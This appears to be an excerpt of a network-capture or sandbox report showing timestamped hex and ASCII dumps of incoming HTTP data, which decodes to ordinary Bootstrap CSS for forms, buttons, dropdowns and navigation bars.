63 6f 6e 74 72 6f 6c 5b 72 65 61 64 6f 6e 6c 79 5d 2c 66 69 65 6c 64 73 65 74 5b 64 69 73 61 62 6c 65 64 5d 20 2e 66 6f 
72 6d 2d 63 6f 6e 74 72 6f 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 65 65 3b 6f 70 61 63 69 74 79 
3a 31 7d 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 5b 64 69 73 61 62 6c 65 64 5d 2c 66 69 65 6c 64 73 65 74 5b 64 69 73 61 
62 6c 65 64 5d 20 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 7b 63 75 72 73 6f 72 3a 6e 6f 74 2d 61 6c 6c 6f 77 65 64 7d 74 
65 78 74 61 72 65 61 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 7b 68 65 69 67 68 74 3a 61 75 74 6f 7d 69 6e 70 75 74 5b 74 
79 70 65 3d 73 65 61 72 63 68 5d 7b 2d 77 65 62 6b 69 74 
Data Ascii: der:0}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{background-color:#eee
;opacity:1}.form-control[disabled],fieldset[disabled] .form-control{cursor:not-allowed}textarea.form-control{height:auto
}input[type=search]{-webkit

Timestamp
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2022-07-01 09:00:49 UTC 749 IN Data Raw: 61 64 69 6f 5d 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 34 
70 78 5c 39 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 32 30 70 78 7d 2e 63 68 65 63 6b 62 6f 78 2b 2e 63 68 65 63 6b 
62 6f 78 2c 2e 72 61 64 69 6f 2b 2e 72 61 64 69 6f 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 35 70 78 7d 2e 63 68 65 63 6b 
62 6f 78 2d 69 6e 6c 69 6e 65 2c 2e 72 61 64 69 6f 2d 69 6e 6c 69 6e 65 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 
76 65 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 30 
70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 76 65 72 74 6
9 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 63 75 72 73 
Data Ascii: adio]{position:absolute;margin-top:4px\9;margin-left:-20px}.checkbox+.checkbox,.radio+.radio{margin-top:-5px
}.checkbox-inline,.radio-inline{position:relative;display:inline-block;padding-left:20px;margin-bottom:0;font-weight:400
;vertical-align:middle;curs

2022-07-01 09:00:49 UTC 751 IN Data Raw: 69 67 68 74 3a 33 30 70 78 7d 2e 66 6f 72 6d 2d 67 72 6f 75 70 2d 73 6d 20 73 65 6c 65 63 74 5b 6d 75 6c 74 
69 70 6c 65 5d 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2c 2e 66 6f 72 6d 2d 67 72 6f 75 70 2d 73 6d 20 74 65 78 74 61 72 
65 61 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 7b 68 65 69 67 68 74 3a 61 75 74 6f 7d 2e 66 6f 72 6d 2d 67 72 6f 75 70 2d 
73 6d 20 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2d 73 74 61 74 69 63 7b 68 65 69 67 68 74 3a 33 30 70 78 3b 6d 69 6e 
2d 68 65 69 67 68 74 3a 33 32 70 78 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 31 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 
3a 31 32 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 7d 2e 69 6e 70 75 74 2d 6c 67 7b 68 65 69 67 68 74 3a 
34 36 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 20 31 36 70 78 
Data Ascii: ight:30px}.form-group-sm select[multiple].form-control,.form-group-sm textarea.form-control{height:auto}.form-
group-sm .form-control-static{height:30px;min-height:32px;padding:6px 10px;font-size:12px;line-height:1.5}.input-lg{he
ight:46px;padding:10px 16px

2022-07-01 09:00:49 UTC 754 IN Data Raw: 2e 68 61 73 2d 73 75 63 63 65 73 73 20 2e 63 68 65 63 6b 62 6f 78 2c 2e 68 61 73 2d 73 75 63 63 65 73 73 
20 2e 63 68 65 63 6b 62 6f 78 2d 69 6e 6c 69 6e 65 2c 2e 68 61 73 2d 73 75 63 63 65 73 73 20 2e 63 6f 6e 74 72 6f 6c 2d 
6c 61 62 65 6c 2c 2e 68 61 73 2d 73 75 63 63 65 73 73 20 2e 68 65 6c 70 2d 62 6c 6f 63 6b 2c 2e 68 61 73 2d 73 75 63 
63 65 73 73 20 2e 72 61 64 69 6f 2c 2e 68 61 73 2d 73 75 63 63 65 73 73 20 2e 72 61 64 69 6f 2d 69 6e 6c 69 6e 65 2c 2
e 68 61 73 2d 73 75 63 63 65 73 73 2e 63 68 65 63 6b 62 6f 78 20 6c 61 62 65 6c 2c 2e 68 61 73 2d 73 75 63 63 65 73 73 
2e 63 68 65 63 6b 62 6f 78 2d 69 6e 6c 69 6e 65 20 6c 61 62 65 6c 2c 2e 68 61 73 2d 73 75 63 63 65 73 73 2e 72 61 64 
69 6f 20 6c 61 62 65 6c 2c 2e 68 61 73 2d 73 75 63 63 65 73 73 2e 72 
Data Ascii: .has-success .checkbox,.has-success .checkbox-inline,.has-success .control-label,.has-success .help-block,.h
as-success .radio,.has-success .radio-inline,.has-success.checkbox label,.has-success.checkbox-inline label,.has-success
.radio label,.has-success.r

2022-07-01 09:00:49 UTC 758 IN Data Raw: 68 61 73 2d 77 61 72 6e 69 6e 67 20 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 7b 63 6f 6c 6f 72 
3a 23 38 61 36 64 33 62 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 63 66 38 65 33 3b 62 6f 72 64 65 72 
2d 63 6f 6c 6f 72 3a 23 38 61 36 64 33 62 7d 2e 68 61 73 2d 77 61 72 6e 69 6e 67 20 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 
6c 2d 66 65 65 64 62 61 63 6b 7b 63 6f 6c 6f 72 3a 23 38 61 36 64 33 62 7d 2e 68 61 73 2d 65 72 72 6f 72 20 2e 63 68 
65 63 6b 62 6f 78 2c 2e 68 61 73 2d 65 72 72 6f 72 20 2e 63 68 65 63 6b 62 6f 78 2d 69 6e 6c 69 6e 65 2c 2e 68 61 73 2d 
65 72 72 6f 72 20 2e 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 2c 2e 68 61 73 2d 65 72 72 6f 72 20 2e 68 65 6c 70 2d 62 6c 
6f 63 6b 2c 2e 68 61 73 2d 65 72 72 6f 72 20 2e 72 61 64 69 
Data Ascii: has-warning .input-group-addon{color:#8a6d3b;background-color:#fcf8e3;border-color:#8a6d3b}.has-warning 
.form-control-feedback{color:#8a6d3b}.has-error .checkbox,.has-error .checkbox-inline,.has-error .control-label,.has-error .
help-block,.has-error .radi

2022-07-01 09:00:49 UTC 761 IN Data Raw: 6d 2d 69 6e 6c 69 6e 65 20 2e 69 6e 70 75 74 2d 67 72 6f 75 70 20 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2c 
2e 66 6f 72 6d 2d 69 6e 6c 69 6e 65 20 2e 69 6e 70 75 74 2d 67 72 6f 75 70 20 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 
64 64 6f 6e 2c 2e 66 6f 72 6d 2d 69 6e 6c 69 6e 65 20 2e 69 6e 70 75 74 2d 67 72 6f 75 70 20 2e 69 6e 70 75 74 2d 67 
72 6f 75 70 2d 62 74 6e 7b 77 69 64 74 68 3a 61 75 74 6f 7d 2e 66 6f 72 6d 2d 69 6e 6c 69 6e 65 20 2e 69 6e 70 75 74 
2d 67 72 6f 75 70 3e 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 7b 77 69 64 74 68 3a 31 30 30 25 7d 2e 66 6f 72 6d 2d 69 6e 
6c 69 6e 65 20 2e 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 3b 76 65 72 74 
69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 2e 66 6f 
Data Ascii: m-inline .input-group .form-control,.form-inline .input-group .input-group-addon,.form-inline .input-group .input-
group-btn{width:auto}.form-inline .input-group>.form-control{width:100%}.form-inline .control-label{margin-bottom:0;vertical
-align:middle}.fo

2022-07-01 09:00:49 UTC 762 IN Data Raw: 34 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 32 38 35 37 31 34 33 3b 74 65 78 74 2d 61 6c 69 
67 6e 3a 63 65 6e 74 65 72 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 76 65 72 74 69 63 61 6c 2d 61 
6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 2d 6d 73 2d 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 6d 61 6e 69 70 75 6c 61 74 69 6
f 6e 3b 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 7
4 65 72 3b 2d 77 65 62 6b 69 74 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 2d 6d 6f 7a 2d 75 73 65 72 2d 73 
65 6c 65 63 74 3a 6e 6f 6e 65 3b 2d 6d 73 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 75 73 65 72 2d 73 65 
6c 65 63 74 3a 6e 6f 6e 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 
Data Ascii: 400;line-height:1.42857143;text-align:center;white-space:nowrap;vertical-align:middle;-ms-touch-action:manip
ulation;touch-action:manipulation;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;use
r-select:none;background-im

2022-07-01 09:00:49 UTC 765 IN Data Raw: 64 65 66 61 75 6c 74 3a 61 63 74 69 76 65 3a 66 6f 63 75 73 2c 2e 62 74 6e 2d 64 65 66 61 75 6c 74 3a 61 63 
74 69 76 65 3a 68 6f 76 65 72 2c 2e 6f 70 65 6e 3e 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 2e 62 74 6e 2d 64 65 
66 61 75 6c 74 2e 66 6f 63 75 73 2c 2e 6f 70 65 6e 3e 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 2e 62 74 6e 2d 64 
65 66 61 75 6c 74 3a 66 6f 63 75 73 2c 2e 6f 70 65 6e 3e 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 2e 62 74 6e 2d 
64 65 66 61 75 6c 74 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 33 33 33 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 
72 3a 23 64 34 64 34 64 34 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 38 63 38 63 38 63 7d 2e 62 74 6e 2d 64 65 66 61 
75 6c 74 2e 61 63 74 69 76 65 2c 2e 62 74 6e 2d 64 65 66 
Data Ascii: default:active:focus,.btn-default:active:hover,.open>.dropdown-toggle.btn-default.focus,.open>.dropdown-togg
le.btn-default:focus,.open>.dropdown-toggle.btn-default:hover{color:#333;background-color:#d4d4d4;border-color
:#8c8c8c}.btn-default.active,.btn-def

2022-07-01 09:00:49 UTC 767 IN Data Raw: 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 30 34 64 37 34 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 31 32 
32 62 34 30 7d 2e 62 74 6e 2d 70 72 69 6d 61 72 79 2e 61 63 74 69 76 65 2c 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 61 
63 74 69 76 65 2c 2e 6f 70 65 6e 3e 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 2e 62 74 6e 2d 70 72 69 6d 61 72 79 
7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 6e 6f 6e 65 7d 2e 62 74 6e 2d 70 72 69 6d 61 72 79 2e 64 69 73 
61 62 6c 65 64 2e 66 6f 63 75 73 2c 2e 62 74 6e 2d 70 72 69 6d 61 72 79 2e 64 69 73 61 62 6c 65 64 3a 66 6f 63 75 73 
2c 2e 62 74 6e 2d 70 72 69 6d 61 72 79 2e 64 69 73 61 62 6c 65 64 3a 68 6f 76 65 72 2c 2e 62 74 6e 2d 70 72 69 6d 61 
72 79 5b 64 69 73 61 62 6c 65 64 5d 2e 66 6f 63 75 73 2c 2e 62 74 
Data Ascii: ground-color:#204d74;border-color:#122b40}.btn-primary.active,.btn-primary:active,.open>.dropdown-
toggle.btn-primary{background-image:none}.btn-primary.disabled.focus,.btn-primary.disabled:focus,.btn-primary.
disabled:hover,.btn-primary[disabled].focus,.bt
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2022-07-01 09:00:49 UTC 770 IN Data Raw: 65 73 73 2e 64 69 73 61 62 6c 65 64 3a 66 6f 63 75 73 2c 2e 62 74 6e 2d 73 75 63 63 65 73 73 2e 64 69 73 61 
62 6c 65 64 3a 68 6f 76 65 72 2c 2e 62 74 6e 2d 73 75 63 63 65 73 73 5b 64 69 73 61 62 6c 65 64 5d 2e 66 6f 63 75 73 
2c 2e 62 74 6e 2d 73 75 63 63 65 73 73 5b 64 69 73 61 62 6c 65 64 5d 3a 66 6f 63 75 73 2c 2e 62 74 6e 2d 73 75 63 63 
65 73 73 5b 64 69 73 61 62 6c 65 64 5d 3a 68 6f 76 65 72 2c 66 69 65 6c 64 73 65 74 5b 64 69 73 61 62 6c 65 64 5d 20 2
e 62 74 6e 2d 73 75 63 63 65 73 73 2e 66 6f 63 75 73 2c 66 69 65 6c 64 73 65 74 5b 64 69 73 61 62 6c 65 64 5d 20 2e 62 
74 6e 2d 73 75 63 63 65 73 73 3a 66 6f 63 75 73 2c 66 69 65 6c 64 73 65 74 5b 64 69 73 61 62 6c 65 64 5d 20 2e 62 74 
6e 2d 73 75 63 63 65 73 73 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 
Data Ascii: ess.disabled:focus,.btn-success.disabled:hover,.btn-success[disabled].focus,.btn-success[disabled]:focus,.btn-
success[disabled]:hover,fieldset[disabled] .btn-success.focus,fieldset[disabled] .btn-success:focus,fieldset[disabled] .btn-
success:hover{backgro

2022-07-01 09:00:49 UTC 772 IN Data Raw: 6f 6c 6f 72 3a 23 35 62 63 30 64 65 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 34 36 62 38 64 61 7d 2e 62 
74 6e 2d 69 6e 66 6f 20 2e 62 61 64 67 65 7b 63 6f 6c 6f 72 3a 23 35 62 63 30 64 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 
63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 62 74 6e 2d 77 61 72 6e 69 6e 67 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 
72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 30 61 64 34 65 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 65 65 61 32 33 36 
7d 2e 62 74 6e 2d 77 61 72 6e 69 6e 67 2e 66 6f 63 75 73 2c 2e 62 74 6e 2d 77 61 72 6e 69 6e 67 3a 66 6f 63 75 73 7b 
63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 63 39 37 31 66 3b 62 6f 72 64 
65 72 2d 63 6f 6c 6f 72 3a 23 39 38 35 66 30 64 7d 2e 62 74 
Data Ascii: olor:#5bc0de;border-color:#46b8da}.btn-info .badge{color:#5bc0de;background-color:#fff}.btn-warning{color:#f
ff;background-color:#f0ad4e;border-color:#eea236}.btn-warning.focus,.btn-warning:focus{color:#fff;background-c
olor:#ec971f;border-color:#985f0d}.bt

2022-07-01 09:00:49 UTC 773 IN Data Raw: 74 6e 2d 64 61 6e 67 65 72 3a 66 6f 63 75 73 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 
64 2d 63 6f 6c 6f 72 3a 23 63 39 33 30 32 63 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 37 36 31 63 31 39 7d 2e 62 74 
6e 2d 64 61 6e 67 65 72 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 
6f 72 3a 23 63 39 33 30 32 63 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 61 63 32 39 32 35 7d 2e 62 74 6e 2d 64 61 6e 
67 65 72 2e 61 63 74 69 76 65 2c 2e 62 74 6e 2d 64 61 6e 67 65 72 3a 61 63 74 69 76 65 2c 2e 6f 70 65 6e 3e 2e 64 72 
6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 2e 62 74 6e 2d 64 61 6e 67 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 
67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 63 39 33 30 32 63 
Data Ascii: tn-danger:focus{color:#fff;background-color:#c9302c;border-color:#761c19}.btn-danger:hover{color:#fff;backgr
ound-color:#c9302c;border-color:#ac2925}.btn-danger.active,.btn-danger:active,.open>.dropdown-toggle.btn-dange
r{color:#fff;background-color:#c9302c

2022-07-01 09:00:49 UTC 774 IN Data Raw: 73 70 61 72 65 6e 74 7d 2e 62 74 6e 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 62 74 6e 2d 6c 69 6e 6b 3a 68 6f 
76 65 72 7b 63 6f 6c 6f 72 3a 23 32 33 35 32 37 63 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 
69 6e 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 62 74 6e 2d 6c 69 
6e 6b 5b 64 69 73 61 62 6c 65 64 5d 3a 66 6f 63 75 73 2c 2e 62 74 6e 2d 6c 69 6e 6b 5b 64 69 73 61 62 6c 65 64 5d 3a 
68 6f 76 65 72 2c 66 69 65 6c 64 73 65 74 5b 64 69 73 61 62 6c 65 64 5d 20 2e 62 74 6e 2d 6c 69 6e 6b 3a 66 6f 63 75 
73 2c 66 69 65 6c 64 73 65 74 5b 64 69 73 61 62 6c 65 64 5d 20 2e 62 74 6e 2d 6c 69 6e 6b 3a 68 6f 76 65 72 7b 63 6f 6
c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 
Data Ascii: sparent}.btn-link:focus,.btn-link:hover{color:#23527c;text-decoration:underline;background-color:transparent
}.btn-link[disabled]:focus,.btn-link[disabled]:hover,fieldset[disabled] .btn-link:focus,fieldset[disabled] .btn-link:hover{color:#
777;text-decorati

2022-07-01 09:00:49 UTC 776 IN Data Raw: 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 30 3b 68 65 69 67 68 74 3a 30 3b 6d 61 72 67 
69 6e 2d 6c 65 66 74 3a 32 70 78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 62 6f 72 64 65 
72 2d 74 6f 70 3a 34 70 78 20 64 61 73 68 65 64 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 34 70 78 20 73 6f 6c 69 64 5c 39 3b 
62 6f 72 64 65 72 2d 72 69 67 68 74 3a 34 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 6f 72 64 6
5 72 2d 6c 65 66 74 3a 34 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 64 72 6f 70 64 6f 77 6e 2c 
2e 64 72 6f 70 75 70 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6
c 65 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 30 7d 2e 64 72 
Data Ascii: :inline-block;width:0;height:0;margin-left:2px;vertical-align:middle;border-top:4px dashed;border-top:4px so
lid\9;border-right:4px solid transparent;border-left:4px solid transparent}.dropdown,.dropup{position:relative}.dropdown-
toggle:focus{outline:0}.dr

2022-07-01 09:00:49 UTC 780 IN Data Raw: 67 69 6e 2d 6c 65 66 74 3a 30 7d 2e 62 74 6e 2d 6c 67 20 2e 63 61 72 65 74 7b 62 6f 72 64 65 72 2d 77 69 64 
74 68 3a 35 70 78 20 35 70 78 20 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 77 69 64 74 68 3a 30 7d 2e 64 72 6f 70 
75 70 20 2e 62 74 6e 2d 6c 67 20 2e 63 61 72 65 74 7b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 30 20 35 70 78 20 35 70 
78 7d 2e 62 74 6e 2d 67 72 6f 75 70 2d 76 65 72 74 69 63 61 6c 3e 2e 62 74 6e 2c 2e 62 74 6e 2d 67 72 6f 75 70 2d 76 
65 72 74 69 63 61 6c 3e 2e 62 74 6e 2d 67 72 6f 75 70 2c 2e 62 74 6e 2d 67 72 6f 75 70 2d 76 65 72 74 69 63 61 6c 3e 2
e 62 74 6e 2d 67 72 6f 75 70 3e 2e 62 74 6e 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 66 6c 6f 61 74 3a 6e 6f 6e 65 
3b 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 
Data Ascii: gin-left:0}.btn-lg .caret{border-width:5px 5px 0;border-bottom-width:0}.dropup .btn-lg .caret{border-width:0 5px 
5px}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group,.btn-group-vertical>.btn-group>.btn{display:block;float
:none;width:100%;max-width:

2022-07-01 09:00:49 UTC 784 IN Data Raw: 63 68 69 6c 64 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 62 74 6e 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 2e 
62 74 6e 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 62 74 6e 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 2e 62 74 6e 2d 67 
72 6f 75 70 3e 2e 62 74 6e 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 62 74 6e 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 
2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 62 74 6e 3a 6c 61 73 74 2d 63 
68 69 6c 64 3e 2e 62 74 6e 2d 67 72 6f 75 70 3a 6e 6f 74 28 3a 6c 61 73 74 2d 63 68 69 6c 64 29 3e 2e 62 74 6e 2c 2e 6
9 6e 70 75 74 2d 67 72 6f 75 70 2d 62 74 6e 3a 6c 61 73 74 2d 63 68 69 6c 64 3e 2e 62 74 6e 3a 6e 6f 74 28 3a 6c 61 73 
74 2d 63 68 69 6c 64 29 3a 6e 6f 74 28 2e 64 72 6f 70 64 6f 77 6e 
Data Ascii: child,.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group>.btn,.input-group-btn:first-child>.dro
pdown-toggle,.input-group-btn:last-child>.btn-group:not(:last-child)>.btn,.input-group-btn:last-child>.btn:not(:last-chi
ld):not(.dropdown

2022-07-01 09:00:49 UTC 785 IN Data Raw: 38 30 30 30 0d 0a 74 6e 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 62 74 6e 3a 66 69 72 73 74 2d 63 68 69 6c 
64 3e 2e 62 74 6e 2d 67 72 6f 75 70 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2d 31 70 78 7d 2e 69 6e 70 75 74 2d 67 
72 6f 75 70 2d 62 74 6e 3a 6c 61 73 74 2d 63 68 69 6c 64 3e 2e 62 74 6e 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 62 
74 6e 3a 6c 61 73 74 2d 63 68 69 6c 64 3e 2e 62 74 6e 2d 67 72 6f 75 70 7b 7a 2d 69 6e 64 65 78 3a 32 3b 6d 61 72 67 6
9 6e 2d 6c 65 66 74 3a 2d 31 70 78 7d 2e 6e 61 76 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 6d 61 72 67 69 6e 
2d 62 6f 74 74 6f 6d 3a 30 3b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d 2e 6e 61 76 3e 6c 69 7b 70 6f 73 69 74 69 
6f 6e 3a 72 65 6c 61 74 69 76 65 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 
Data Ascii: 8000tn,.input-group-btn:first-child>.btn-group{margin-right:-1px}.input-group-btn:last-child>.btn,.input-group-
btn:last-child>.btn-group{z-index:2;margin-left:-1px}.nav{padding-left:0;margin-bottom:0;list-style:none}.nav>li{position:relat
ive;display:blo
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2022-07-01 09:00:49 UTC 789 IN Data Raw: 6e 61 76 62 61 72 2d 63 6f 6c 6c 61 70 73 65 7b 6d 61 78 2d 68 65 69 67 68 74 3a 32 30 30 70 78 7d 7d 2e 63 
6f 6e 74 61 69 6e 65 72 2d 66 6c 75 69 64 3e 2e 6e 61 76 62 61 72 2d 63 6f 6c 6c 61 70 73 65 2c 2e 63 6f 6e 74 61 69 6e 
65 72 2d 66 6c 75 69 64 3e 2e 6e 61 76 62 61 72 2d 68 65 61 64 65 72 2c 2e 63 6f 6e 74 61 69 6e 65 72 3e 2e 6e 61 76 
62 61 72 2d 63 6f 6c 6c 61 70 73 65 2c 2e 63 6f 6e 74 61 69 6e 65 72 3e 2e 6e 61 76 62 61 72 2d 68 65 61 64 65 72 7b 
6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2d 31 35 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 31 35 70 78 7d 40 6d 
65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 38 70 78 29 7b 2e 63 6f 6e 74 61 69 6e 65 72 2d 66 6c 75 69 64 
3e 2e 6e 61 76 62 61 72 2d 63 6f 6c 6c 61 70 73 65 2c 2e 63 6f 6e 74 
Data Ascii: navbar-collapse{max-height:200px}}.container-fluid>.navbar-collapse,.container-fluid>.navbar-header,.contain
er>.navbar-collapse,.container>.navbar-header{margin-right:-15px;margin-left:-15px}@media (min-width:768px){.c
ontainer-fluid>.navbar-collapse,.cont

2022-07-01 09:00:49 UTC 793 IN Data Raw: 66 6c 6f 61 74 3a 6c 65 66 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 35 70 78 3b 6d 61 72 67 69 6e 2d 
6c 65 66 74 3a 31 35 70 78 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 38 70 78 29 7b 2e 6e 61 
76 62 61 72 2d 6c 65 66 74 7b 66 6c 6f 61 74 3a 6c 65 66 74 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6e 61 76 62 61 72 2d 
72 69 67 68 74 7b 66 6c 6f 61 74 3a 72 69 67 68 74 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 7
4 3a 2d 31 35 70 78 7d 2e 6e 61 76 62 61 72 2d 72 69 67 68 74 7e 2e 6e 61 76 62 61 72 2d 72 69 67 68 74 7b 6d 61 72 
67 69 6e 2d 72 69 67 68 74 3a 30 7d 7d 2e 6e 61 76 62 61 72 2d 64 65 66 61 75 6c 74 7b 62 61 63 6b 67 72 6f 75 6e 64 
2d 63 6f 6c 6f 72 3a 23 66 38 66 38 66 38 3b 62 6f 72 64 65 72 2d 63 6f 
Data Ascii: float:left;margin-right:15px;margin-left:15px}}@media (min-width:768px){.navbar-left{float:left!important}.n
avbar-right{float:right!important;margin-right:-15px}.navbar-right~.navbar-right{margin-right:0}}.navbar-default{background-
color:#f8f8f8;border-co

2022-07-01 09:00:49 UTC 797 IN Data Raw: 65 6e 20 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 3e 2e 61 63 74 69 76 65 3e 61 3a 66 6f 63 75 73 2c 2e 6e 
61 76 62 61 72 2d 69 6e 76 65 72 73 65 20 2e 6e 61 76 62 61 72 2d 6e 61 76 20 2e 6f 70 65 6e 20 2e 64 72 6f 70 64 6f 
77 6e 2d 6d 65 6e 75 3e 2e 61 63 74 69 76 65 3e 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 
67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 38 30 38 30 38 7d 2e 6e 61 76 62 61 72 2d 69 6e 76 65 72 73 65 20 2e 6e 6
1 76 62 61 72 2d 6e 61 76 20 2e 6f 70 65 6e 20 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 3e 2e 64 69 73 61 62 6c 65 64 
